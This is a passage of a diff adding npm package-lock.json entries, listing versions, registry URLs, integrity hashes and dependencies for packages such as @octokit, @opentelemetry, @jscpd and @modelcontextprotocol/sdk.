"BlueOak-1.0.0", + "engines": { + "node": ">=18" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", + "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.5.5", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", + "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", + "dev": true, + "license": "MIT" + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.31", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz", + "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } + }, + "node_modules/@js-sdsl/ordered-map": { + "version": "4.4.2", + "resolved": "https://registry.npmjs.org/@js-sdsl/ordered-map/-/ordered-map-4.4.2.tgz", + "integrity": "sha512-iUKgm52T8HOE/makSxjqoWhe95ZJA1/G1sYsGev2JDKUSS14KAgg1LHb+Ba+IPow0xflbnSkOsZcO08C7w1gYw==", + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/js-sdsl" + } + }, + "node_modules/@jscpd/badge-reporter": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/@jscpd/badge-reporter/-/badge-reporter-4.0.5.tgz", + "integrity": "sha512-SLVhP00R9lkQ//Ivaanfm7k0L9sewpBven670kk1uGec2SWUOa7MVQcuad/TV59KEZ73UIC1lXvi6O9hAnbpUw==", + "dev": true, + "license": "MIT", + "dependencies": { + "badgen": "^3.2.3", + "colors": "^1.4.0", + "fs-extra": "^11.2.0" + } + }, + "node_modules/@jscpd/core": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/@jscpd/core/-/core-4.0.5.tgz", + "integrity": "sha512-Udvym21nWzxjYRVXwwpYNBqZ6b50QV2zHN3fFNzOPPg4cfQVYOZerILB7xNDUsXHC1PCr/N52Tq3q7AElvjWWA==", + "dev": true, + "license": "MIT", + "dependencies": { + "eventemitter3": "^5.0.1" + } + }, + "node_modules/@jscpd/finder": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/@jscpd/finder/-/finder-4.0.5.tgz", + "integrity": "sha512-/2VkRoVrrfya+51sitZo5I9MdwsRaPKB8X3L3khAYoHFXk4L/mUuG81RmGazDHjUIGg22ItlkQtwzorNZ2+aPw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jscpd/core": "4.0.5", + "@jscpd/tokenizer": "4.0.5", + "blamer": "^1.0.6", + "bytes": "^3.1.2", + "cli-table3": "^0.6.5", + "colors": "^1.4.0", + "fast-glob": "^3.3.2", + "fs-extra": "^11.2.0", + "markdown-table": "^2.0.0", + "pug": "^3.0.3" + } + }, + "node_modules/@jscpd/html-reporter": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/@jscpd/html-reporter/-/html-reporter-4.0.5.tgz", + "integrity": "sha512-drK2J8KyPIW9wvaElSIobZFp4dBO9GA++JW4gx3oihvLdDSp8qSo/CNqH47Dw0XkjQTxND3j/+Wz5JWvYRBgFQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "colors": "1.4.0", + "fs-extra": "^11.2.0", + "pug": "^3.0.3" + } + }, + "node_modules/@jscpd/tokenizer": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/@jscpd/tokenizer/-/tokenizer-4.0.5.tgz", + "integrity": "sha512-WzRujQtN5WedxZVDKuoanxmKAFrxcLrHpcA6kaM4z8AhGtWXZ325yseqgL5TZ8OK7Auwu7kQLlqhfk05fGYG7A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jscpd/core": "4.0.5", + "reprism": "^0.0.11", + "spark-md5": "^3.0.2" + } + }, + "node_modules/@kwsites/file-exists": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@kwsites/file-exists/-/file-exists-1.1.1.tgz", + "integrity": "sha512-m9/5YGR18lIwxSFDwfE3oA7bWuq9kdau6ugN4H2rJeyhFQZcG9AgSHkQtSD15a8WvTgfz9aikZMrKPHvbpqFiw==", + "license": "MIT", + "dependencies": { + "debug": "^4.1.1" + } + }, + "node_modules/@kwsites/promise-deferred": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@kwsites/promise-deferred/-/promise-deferred-1.1.1.tgz", + "integrity": "sha512-GaHYm+c0O9MjZRu0ongGBRbinu8gVAMd2UZjji6jVmqKtZluZnptXGWhz1E8j8D2HJ3f/yMxKAUC0b+57wncIw==", + "license": "MIT" + }, + "node_modules/@logtape/file": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/@logtape/file/-/file-2.0.7.tgz", + "integrity": "sha512-xLTtspMP0Nax6r8FdCo5K5fljf42/CR8joS+xxqrWiGi1wRfuqWZ+lhk560hWznSLblB1nIOtkruNI83cV3l+Q==", + "funding": [ + "https://github.com/sponsors/dahlia" + ], + "license": "MIT", + "peerDependencies": { + "@logtape/logtape": "^2.0.7" + } + }, + "node_modules/@logtape/logtape": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/@logtape/logtape/-/logtape-2.0.7.tgz", + "integrity": "sha512-SUkjkEIfQ3zCadlLi8rfGfe4l/JRKNbp248bfLeowyUFs9KZME/k8y+5sugWYZet/gMYnmwCc9xa3J+kjDjSSQ==", + "funding": [ + "https://github.com/sponsors/dahlia" + ], + "license": "MIT" + }, + "node_modules/@logtape/pretty": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/@logtape/pretty/-/pretty-2.0.7.tgz", + "integrity": "sha512-FluT3vEBsZcK4cIuPAUTK6+RiAGQgnvFU1J76WJ0NJMReoDb4wbd2R/vO/n9SxND676hELgdP4X/RC82w9ieeg==", + "funding": [ + "https://github.com/sponsors/dahlia" + ], + "license": "MIT", + "peerDependencies": { + "@logtape/logtape": "^2.0.7" + } + }, + "node_modules/@logtape/redaction": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/@logtape/redaction/-/redaction-2.0.7.tgz", + "integrity": "sha512-HTRjpCgVkYblgWFvFIFv7YYlDirzsnJhLoL2R3uchNXRR8jzXtCHeOo8faU03BMh3/caqehF5iWOOV9byMJPIA==", + "funding": [ + "https://github.com/sponsors/dahlia" + ], + "license": "MIT", + "peerDependencies": { + "@logtape/logtape": "^2.0.7" + } + }, + "node_modules/@lydell/node-pty": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@lydell/node-pty/-/node-pty-1.1.0.tgz", + "integrity": "sha512-VDD8LtlMTOrPKWMXUAcB9+LTktzuunqrMwkYR1DMRBkS6LQrCt+0/Ws1o2rMml/n3guePpS7cxhHF7Nm5K4iMw==", + "license": "MIT", + "optional": true, + "optionalDependencies": { + "@lydell/node-pty-darwin-arm64": "1.1.0", + "@lydell/node-pty-darwin-x64": "1.1.0", + "@lydell/node-pty-linux-arm64": "1.1.0", + "@lydell/node-pty-linux-x64": "1.1.0", + "@lydell/node-pty-win32-arm64": "1.1.0", + "@lydell/node-pty-win32-x64": "1.1.0" + } + }, + "node_modules/@lydell/node-pty-darwin-arm64": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@lydell/node-pty-darwin-arm64/-/node-pty-darwin-arm64-1.1.0.tgz", + "integrity": "sha512-7kFD+owAA61qmhJCtoMbqj3Uvff3YHDiU+4on5F2vQdcMI3MuwGi7dM6MkFG/yuzpw8LF2xULpL71tOPUfxs0w==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@lydell/node-pty-darwin-x64": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@lydell/node-pty-darwin-x64/-/node-pty-darwin-x64-1.1.0.tgz", + "integrity": "sha512-XZdvqj5FjAMjH8bdp0YfaZjur5DrCIDD1VYiE9EkkYVMDQqRUPHYV3U8BVEQVT9hYfjmpr7dNaELF2KyISWSNA==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ] + }, + "node_modules/@lydell/node-pty-linux-arm64": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@lydell/node-pty-linux-arm64/-/node-pty-linux-arm64-1.1.0.tgz", + "integrity": "sha512-yyDBmalCfHpLiQMT2zyLcqL2Fay4Xy7rIs8GH4dqKLnEviMvPGOK7LADVkKAsbsyXBSISL3Lt1m1MtxhPH6ckg==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@lydell/node-pty-linux-x64": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@lydell/node-pty-linux-x64/-/node-pty-linux-x64-1.1.0.tgz", + "integrity": "sha512-NcNqRTD14QT+vXcEuqSSvmWY+0+WUBn2uRE8EN0zKtDpIEr9d+YiFj16Uqds6QfcLCHfZmC+Ls7YzwTaqDnanA==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@lydell/node-pty-win32-arm64": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@lydell/node-pty-win32-arm64/-/node-pty-win32-arm64-1.1.0.tgz", + "integrity": "sha512-JOMbCou+0fA7d/m97faIIfIU0jOv8sn2OR7tI45u3AmldKoKoLP8zHY6SAvDDnI3fccO1R2HeR1doVjpS7HM0w==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@lydell/node-pty-win32-x64": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@lydell/node-pty-win32-x64/-/node-pty-win32-x64-1.1.0.tgz", + "integrity": "sha512-3N56BZ+WDFnUMYRtsrr7Ky2mhWGl9xXcyqR6cexfuCqcz9RNWL+KoXRv/nZylY5dYaXkft4JaR1uVu+roiZDAw==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ] + }, + "node_modules/@mariozechner/jiti": { + "version": "2.6.5", + "resolved": "https://registry.npmjs.org/@mariozechner/jiti/-/jiti-2.6.5.tgz", + "integrity": "sha512-faGUlTcXka5l7rv0lP3K3vGW/ejRuOS24RR2aSFWREUQqzjgdsuWNo/IiPqL3kWRGt6Ahl2+qcDAwtdeWeuGUw==", + "license": "MIT", + "dependencies": { + "std-env": "^3.10.0", + "yoctocolors": "^2.1.2" + }, + "bin": { + "jiti": "lib/jiti-cli.mjs" + } + }, + "node_modules/@mistralai/mistralai": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/@mistralai/mistralai/-/mistralai-2.2.1.tgz", + "integrity": "sha512-uKU8CZmL2RzYKmplsU01hii4p3pe4HqJefpWNRWXm1Tcm0Sm4xXfwSLIy4k7ZCPlbETCGcp69E7hZs+WOJ5itQ==", + "license": "Apache-2.0", + "dependencies": { + "ws": "^8.18.0", + "zod": "^3.25.0 || ^4.0.0", + "zod-to-json-schema": "^3.25.0" + } + }, + "node_modules/@modelcontextprotocol/sdk": { + "version": "1.29.0", + "resolved": "https://registry.npmjs.org/@modelcontextprotocol/sdk/-/sdk-1.29.0.tgz", + "integrity": "sha512-zo37mZA9hJWpULgkRpowewez1y6ML5GsXJPY8FI0tBBCd77HEvza4jDqRKOXgHNn867PVGCyTdzqpz0izu5ZjQ==", + "license": "MIT", + "dependencies": { + "@hono/node-server": "^1.19.9", + "ajv": "^8.17.1", + "ajv-formats": "^3.0.1", + "content-type": "^1.0.5", + "cors": "^2.8.5", + "cross-spawn": "^7.0.5", + "eventsource": "^3.0.2", + "eventsource-parser": "^3.0.0", + "express": "^5.2.1", + "express-rate-limit": "^8.2.1", + "hono": "^4.11.4", + "jose": "^6.1.3", + "json-schema-typed": "^8.0.2", + "pkce-challenge": "^5.0.0", + "raw-body": "^3.0.0", + "zod": "^3.25 || ^4.0", + "zod-to-json-schema": "^3.25.1" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@cfworker/json-schema": "^4.1.1", + "zod": "^3.25 || ^4.0" + }, + "peerDependenciesMeta": { + "@cfworker/json-schema": { + "optional": true + }, + "zod": { + "optional": false + } + } + }, + "node_modules/@nodable/entities": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/@nodable/entities/-/entities-2.1.0.tgz", + "integrity": "sha512-nyT7T3nbMyBI/lvr6L5TyWbFJAI9FTgVRakNoBqCD+PmID8DzFrrNdLLtHMwMszOtqZa8PAOV24ZqDnQrhQINA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/nodable" + } + ], + "license": "MIT" + }, + "node_modules/@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@octokit/auth-token": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@octokit/auth-token/-/auth-token-6.0.0.tgz", + "integrity": "sha512-P4YJBPdPSpWTQ1NU4XYdvHvXJJDxM6YwpS0FZHRgP7YFkdVxsWcpWGy/NVqlAA7PcPCnMacXlRm1y2PFZRWL/w==", + "license": "MIT", + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/core": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/@octokit/core/-/core-7.0.6.tgz", + "integrity": "sha512-DhGl4xMVFGVIyMwswXeyzdL4uXD5OGILGX5N8Y+f6W7LhC1Ze2poSNrkF/fedpVDHEEZ+PHFW0vL14I+mm8K3Q==", + "license": "MIT", + "dependencies": { + "@octokit/auth-token": "^6.0.0", + "@octokit/graphql": "^9.0.3", + "@octokit/request": "^10.0.6", + "@octokit/request-error": "^7.0.2", + "@octokit/types": "^16.0.0", + "before-after-hook": "^4.0.0", + "universal-user-agent": "^7.0.0" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/endpoint": { + "version": "11.0.3", + "resolved": "https://registry.npmjs.org/@octokit/endpoint/-/endpoint-11.0.3.tgz", + "integrity": "sha512-FWFlNxghg4HrXkD3ifYbS/IdL/mDHjh9QcsNyhQjN8dplUoZbejsdpmuqdA76nxj2xoWPs7p8uX2SNr9rYu0Ag==", + "license": "MIT", + "dependencies": { + "@octokit/types": "^16.0.0", + "universal-user-agent": "^7.0.2" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/graphql": { + "version": "9.0.3", + "resolved": "https://registry.npmjs.org/@octokit/graphql/-/graphql-9.0.3.tgz", + "integrity": "sha512-grAEuupr/C1rALFnXTv6ZQhFuL1D8G5y8CN04RgrO4FIPMrtm+mcZzFG7dcBm+nq+1ppNixu+Jd78aeJOYxlGA==", + "license": "MIT", + "dependencies": { + "@octokit/request": "^10.0.6", + "@octokit/types": "^16.0.0", + "universal-user-agent": "^7.0.0" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/openapi-types": { + "version": "27.0.0", + "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-27.0.0.tgz", + "integrity": "sha512-whrdktVs1h6gtR+09+QsNk2+FO+49j6ga1c55YZudfEG+oKJVvJLQi3zkOm5JjiUXAagWK2tI2kTGKJ2Ys7MGA==", + "license": "MIT" + }, + "node_modules/@octokit/plugin-paginate-rest": { + "version": "14.0.0", + "resolved": "https://registry.npmjs.org/@octokit/plugin-paginate-rest/-/plugin-paginate-rest-14.0.0.tgz", + "integrity": "sha512-fNVRE7ufJiAA3XUrha2omTA39M6IXIc6GIZLvlbsm8QOQCYvpq/LkMNGyFlB1d8hTDzsAXa3OKtybdMAYsV/fw==", + "license": "MIT", + "dependencies": { + "@octokit/types": "^16.0.0" + }, + "engines": { + "node": ">= 20" + }, + "peerDependencies": { + "@octokit/core": ">=6" + } + }, + "node_modules/@octokit/plugin-request-log": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@octokit/plugin-request-log/-/plugin-request-log-6.0.0.tgz", + "integrity": "sha512-UkOzeEN3W91/eBq9sPZNQ7sUBvYCqYbrrD8gTbBuGtHEuycE4/awMXcYvx6sVYo7LypPhmQwwpUe4Yyu4QZN5Q==", + "license": "MIT", + "engines": { + "node": ">= 20" + }, + "peerDependencies": { + "@octokit/core": ">=6" + } + }, + "node_modules/@octokit/plugin-rest-endpoint-methods": { + "version": "17.0.0", + "resolved": "https://registry.npmjs.org/@octokit/plugin-rest-endpoint-methods/-/plugin-rest-endpoint-methods-17.0.0.tgz", + "integrity": "sha512-B5yCyIlOJFPqUUeiD0cnBJwWJO8lkJs5d8+ze9QDP6SvfiXSz1BF+91+0MeI1d2yxgOhU/O+CvtiZ9jSkHhFAw==", + "license": "MIT", + "dependencies": { + "@octokit/types": "^16.0.0" + }, + "engines": { + "node": ">= 20" + }, + "peerDependencies": { + "@octokit/core": ">=6" + } + }, + "node_modules/@octokit/request": { + "version": "10.0.8", + "resolved": "https://registry.npmjs.org/@octokit/request/-/request-10.0.8.tgz", + "integrity": "sha512-SJZNwY9pur9Agf7l87ywFi14W+Hd9Jg6Ifivsd33+/bGUQIjNujdFiXII2/qSlN2ybqUHfp5xpekMEjIBTjlSw==", + "license": "MIT", + "dependencies": { + "@octokit/endpoint": "^11.0.3", + "@octokit/request-error": "^7.0.2", + "@octokit/types": "^16.0.0", + "fast-content-type-parse": "^3.0.0", + "json-with-bigint": "^3.5.3", + "universal-user-agent": "^7.0.2" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/request-error": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-7.1.0.tgz", + "integrity": "sha512-KMQIfq5sOPpkQYajXHwnhjCC0slzCNScLHs9JafXc4RAJI+9f+jNDlBNaIMTvazOPLgb4BnlhGJOTbnN0wIjPw==", + "license": "MIT", + "dependencies": { + "@octokit/types": "^16.0.0" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/rest": { + "version": "22.0.1", + "resolved": "https://registry.npmjs.org/@octokit/rest/-/rest-22.0.1.tgz", + "integrity": "sha512-Jzbhzl3CEexhnivb1iQ0KJ7s5vvjMWcmRtq5aUsKmKDrRW6z3r84ngmiFKFvpZjpiU/9/S6ITPFRpn5s/3uQJw==", + "license": "MIT", + "dependencies": { + "@octokit/core": "^7.0.6", + "@octokit/plugin-paginate-rest": "^14.0.0", + "@octokit/plugin-request-log": "^6.0.0", + "@octokit/plugin-rest-endpoint-methods": "^17.0.0" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/@octokit/types": { + "version": "16.0.0", + "resolved": "https://registry.npmjs.org/@octokit/types/-/types-16.0.0.tgz", + "integrity": "sha512-sKq+9r1Mm4efXW1FCk7hFSeJo4QKreL/tTbR0rz/qx/r1Oa2VV83LTA/H/MuCOX7uCIJmQVRKBcbmWoySjAnSg==", + "license": "MIT", + "dependencies": { + "@octokit/openapi-types": "^27.0.0" + } + }, + "node_modules/@opentelemetry/api": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/api/-/api-1.9.1.tgz", + "integrity": "sha512-gLyJlPHPZYdAk1JENA9LeHejZe1Ti77/pTeFm/nMXmQH/HFZlcS/O2XJB+L8fkbrNSqhdtlvjBVjxwUYanNH5Q==", + "license": "Apache-2.0", + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/@opentelemetry/api-logs": { + "version": "0.211.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/api-logs/-/api-logs-0.211.0.tgz", + "integrity": "sha512-swFdZq8MCdmdR22jTVGQDhwqDzcI4M10nhjXkLr1EsIzXgZBqm4ZlmmcWsg3TSNf+3mzgOiqveXmBLZuDi2Lgg==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/api": "^1.3.0" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/@opentelemetry/configuration": { + "version": "0.211.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/configuration/-/configuration-0.211.0.tgz", + "integrity": "sha512-PNsCkzsYQKyv8wiUIsH+loC4RYyblOaDnVASBtKS22hK55ToWs2UP6IsrcfSWWn54wWTvVe2gnfwz67Pvrxf2Q==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0", + "yaml": "^2.0.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.9.0" + } + }, + "node_modules/@opentelemetry/configuration/node_modules/@opentelemetry/core": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", + "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/context-async-hooks": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/context-async-hooks/-/context-async-hooks-2.5.0.tgz", + "integrity": "sha512-uOXpVX0ZjO7heSVjhheW2XEPrhQAWr2BScDPoZ9UDycl5iuHG+Usyc3AIfG6kZeC1GyLpMInpQ6X5+9n69yOFw==", + "license": "Apache-2.0", + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/core": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.7.0.tgz", + "integrity": "sha512-DT12SXVwV2eoJrGf4nnsvZojxxeQo+LlNAsoYGRRObPWTeN6APiqZ2+nqDCQDvQX40eLi1AePONS0onoASp3yQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-logs-otlp-grpc": { + "version": "0.211.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-logs-otlp-grpc/-/exporter-logs-otlp-grpc-0.211.0.tgz", + "integrity": "sha512-UhOoWENNqyaAMP/dL1YXLkXt6ZBtovkDDs1p4rxto9YwJX1+wMjwg+Obfyg2kwpcMoaiIFT3KQIcLNW8nNGNfQ==", + "license": "Apache-2.0", + "dependencies": { + "@grpc/grpc-js": "^1.7.1", + "@opentelemetry/core": "2.5.0", + "@opentelemetry/otlp-exporter-base": "0.211.0", + "@opentelemetry/otlp-grpc-exporter-base": "0.211.0", + "@opentelemetry/otlp-transformer": "0.211.0", + "@opentelemetry/sdk-logs": "0.211.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-logs-otlp-grpc/node_modules/@opentelemetry/core": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", + "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-logs-otlp-http": { + "version": "0.211.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-logs-otlp-http/-/exporter-logs-otlp-http-0.211.0.tgz", + "integrity": "sha512-c118Awf1kZirHkqxdcF+rF5qqWwNjJh+BB1CmQvN9AQHC/DUIldy6dIkJn3EKlQnQ3HmuNRKc/nHHt5IusN7mA==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/api-logs": "0.211.0", + "@opentelemetry/core": "2.5.0", + "@opentelemetry/otlp-exporter-base": "0.211.0", + "@opentelemetry/otlp-transformer": "0.211.0", + "@opentelemetry/sdk-logs": "0.211.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-logs-otlp-http/node_modules/@opentelemetry/core": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", + "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-logs-otlp-proto": { + "version": "0.211.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/exporter-logs-otlp-proto/-/exporter-logs-otlp-proto-0.211.0.tgz", + "integrity": "sha512-kMvfKMtY5vJDXeLnwhrZMEwhZ2PN8sROXmzacFU/Fnl4Z79CMrOaL7OE+5X3SObRYlDUa7zVqaXp9ZetYCxfDQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/api-logs": "0.211.0", + "@opentelemetry/core": "2.5.0", + "@opentelemetry/otlp-exporter-base": "0.211.0", + "@opentelemetry/otlp-transformer": "0.211.0", + "@opentelemetry/resources": "2.5.0", + "@opentelemetry/sdk-logs": "0.211.0", + "@opentelemetry/sdk-trace-base": "2.5.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": "^1.3.0" + } + }, + "node_modules/@opentelemetry/exporter-logs-otlp-proto/node_modules/@opentelemetry/core": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.5.0.tgz", + "integrity": "sha512-ka4H8OM6+DlUhSAZpONu0cPBtPPTQKxbxVzC4CzVx5+K4JnroJVBtDzLAMx4/3CDTJXRvVFhpFjtl4SaiTNoyQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-logs-otlp-proto/node_modules/@opentelemetry/resources": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.5.0.tgz", + "integrity": "sha512-F8W52ApePshpoSrfsSk1H2yJn9aKjCrbpQF1M9Qii0GHzbfVeFUB+rc3X4aggyZD8x9Gu3Slua+s6krmq6Dt8g==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/exporter-logs-otlp-proto/node_modules/@opentelemetry/sdk-trace-base": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.5.0.tgz", + "integrity": "sha512-VzRf8LzotASEyNDUxTdaJ9IRJ1/h692WyArDBInf5puLCjxbICD6XkHgpuudis56EndyS7LYFmtTMny6UABNdQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.5.0", + "@opentelemetry/resources": "2.5.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": 